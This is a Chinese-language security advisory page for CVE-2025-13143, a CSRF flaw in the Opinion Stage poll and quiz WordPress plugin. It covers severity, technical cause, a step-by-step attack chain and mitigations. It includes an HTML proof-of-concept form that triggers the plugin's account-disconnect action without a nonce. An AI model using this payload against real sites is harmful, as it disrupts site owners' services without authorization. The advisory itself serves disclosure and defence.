IPBUF安全漏洞报告
English
CVE-2025-13143 CVSS 4.3 中危

CVE-2025-13143 WordPress Opinion Stage插件CSRF漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-13143
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Poll, Survey & Quiz Maker Plugin by Opinion Stage (WordPress)

相关标签

CSRF跨站请求伪造WordPress插件Opinion Stage投票插件nonce验证缺失CVE-2025-13143

漏洞概述

CVE-2025-13143是WordPress平台上一款流行的投票、民调和测验制作插件的安全漏洞。该插件由Opinion Stage开发,被广泛应用于WordPress网站以创建交互式投票、调查问卷和测验内容。漏洞存在于插件的disconnect_account_action函数中,由于缺少或不足的CSRF令牌(nonce)验证机制,导致攻击者可以构造恶意请求,在未经身份验证的情况下断开网站与Opinion Stage平台服务的连接。攻击成功的前提是诱导网站管理员点击特定链接或访问包含恶意请求的网页。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响网站的集成功能可用性,而非直接造成数据泄露或服务器沦陷。

技术细节

该漏洞属于典型的CSRF(跨站请求伪造)安全缺陷。在WordPress插件开发中,为了防止CSRF攻击,通常需要在关键操作函数中使用wp_verify_nonce()或wp_nonce_field()等函数验证请求的合法性。然而,Opinion Stage插件的disconnect_account_action函数未正确实现这一安全机制。攻击者可以构造一个包含disconnect_account_action调用的HTML页面或链接,当已登录的管理员访问该页面或点击链接时,浏览器会自动携带当前域的Cookie发送请求。由于插件未验证请求来源的合法性,攻击者的恶意请求将被执行,导致网站与Opinion Stage平台的连接被断开。漏洞代码位于Admin.php文件的第195-196行附近。该漏洞利用难度较低,无需认证即可发起攻击,但需要用户交互(管理员点击链接)才能成功。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意表单的钓鱼页面,该表单指向WordPress站点的admin-post.php接口
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意网站诱导WordPress管理员访问该页面
STEP 3
步骤3
管理员浏览器自动携带有效的WordPress认证Cookie发送POST请求
STEP 4
步骤4
由于disconnect_account_action函数缺少nonce验证,恶意请求被插件接受并执行
STEP 5
步骤5
网站与Opinion Stage平台的连接被断开,影响投票、调查等功能的正常使用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-13143 --> <!-- Disconnect WordPress site from Opinion Stage platform --> <html> <body> <h1>CVE-2025-13143 CSRF PoC</h1> <p>Click the button below to disconnect the site from Opinion Stage</p> <form action="http://target-wordpress-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form"> <input type="hidden" name="action" value="opinionstage_disconnect_account_action"> <input type="hidden" name="_wpnonce" value=""> <!-- No nonce validation required --> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=opinionstage-settings"> <button type="submit" onclick="this.form.submit(); return false;">Disconnect Opinion Stage</button> </form> <script> // Auto-submit form on page load (for demonstration) // document.getElementById('csrf-form').submit(); </script> </body> </html>

影响范围

Poll, Survey & Quiz Maker Plugin by Opinion Stage <= 19.12.0

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1)临时禁用或删除该插件;2)监控admin-post.php的异常请求日志;3)使用ModSecurity等WAF规则拦截可疑的opinionstage请求;4)提高管理员的安全意识,避免点击未知来源链接;5)考虑使用其他投票插件替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表